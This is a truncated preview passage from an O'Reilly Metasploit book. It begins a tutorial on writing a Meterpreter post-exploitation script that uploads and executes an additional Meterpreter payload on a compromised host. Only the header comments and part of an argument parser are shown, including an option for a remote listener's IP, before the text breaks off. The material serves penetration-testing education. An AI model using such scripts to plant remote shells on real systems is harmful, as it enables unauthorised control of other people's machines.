Creating Your Own Meterpreter Script

Open up your favorite editor and create a new file called execute_upload.rb, located in scripts/meterpreter/. We’ll start by adding comments to the top of the file to let everyone know the purpose of this script and to define our options for the script:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"

# Options

opts = Rex::Parser::Arguments.new(
        "-h"  => [ false,
   "This help menu. Spawn a meterpreter shell by
 uploading and               executing."],
        "-r" => [ true, "The IP of a remote Metasploit listening for the connect ...

Get Metasploit now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.